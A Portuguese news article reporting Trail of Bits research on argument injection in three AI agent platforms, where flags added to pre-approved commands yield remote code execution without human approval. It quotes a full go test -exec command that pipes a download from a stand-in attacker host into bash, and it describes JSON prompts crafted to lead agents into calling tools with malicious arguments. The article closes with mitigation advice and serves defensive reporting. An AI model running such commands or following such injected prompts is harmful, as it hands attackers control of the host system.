ANUNCIE AQUI
Pesquisadores da Trail of Bits divulgaram detalhes de uma falha crítica de argument injection (CWE-88) que afeta três populares plataformas de agentes de IA, possibilitando a execução remota de código (RCE) sem a necessidade de aprovação humana. As vulnerabilidades exploram comandos internos preaprovados usados por esses sistemas para otimizar tarefas como busca de arquivos e análise de código, expondo um erro recorrente de design em ambientes de agentic AI.
Como a falha funciona
Os agentes de IA frequentemente utilizam ferramentas nativas como find, grep, git e go test para operações de sistema e controle de versões. Apesar de verificarem quais comandos são permitidos, muitas implementações negligenciam a validação de argumentos. Isso permite injeções de parâmetros maliciosos, por exemplo, a adição de um flag -exec em um comando aparentemente seguro, que pode invocar bash ou curl e resultar em execução de código remoto.
Em um dos casos relatados pela Trail of Bits, um atacante conseguiu induzir um agente CLI a executar o comando:
go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash; echo success"',
obtendo acesso remoto ao sistema hospedeiro.
Outros vetores exploraram o uso de git show e ripgrep para criar e executar arquivos por meio de cargas maliciosas codificadas em hexadecimal, tudo disfarçado dentro de prompts JSON formatados para persuadir o modelo a chamar ferramentas internas.
Padrões de ataque e impacto
A Trail of Bits identificou diferentes padrões de exploração, incluindo um “facade pattern” em que comandos como fd -x=python3 foram manipulados para ativar cargas Python locais. Essa técnica espelha os métodos conhecidos como “living off the land”, amplamente catalogados nos projetos GTFOBins e LOLBAS, nos quais utilitários legítimos do sistema são explorados para fins ofensivos.
Medidas de mitigação e recomendações
Os pesquisadores recomendam a implementação de sandboxing como defesa primária, com uso de containers, WebAssembly ou isolamento em nível de sistema operacional (como Seatbelt, no macOS). Para evitar injeções por argumentos, deve-se empregar separadores como -- antes de entradas de usuários e desabilitar execuções em shell com subprocess.run(shell=False).
Adicionalmente, mesmo allowlists de comandos seguros são insuficientes sem confinamento físico, já que ferramentas como find podem ser exploradas via parâmetros específicos. Auditar integrações contra recursos do LOLBAS, restringir o acesso de agentes e registrar toda a atividade sensível são medidas essenciais para mitigar esse novo vetor de ataques.
Estas descobertas reforçam uma tendência emergente: conforme a adoção de agentes de IA autônomos cresce, o foco em segurança e governança precisa acompanhar o ritmo para evitar a automatização de vulnerabilidades em escala global.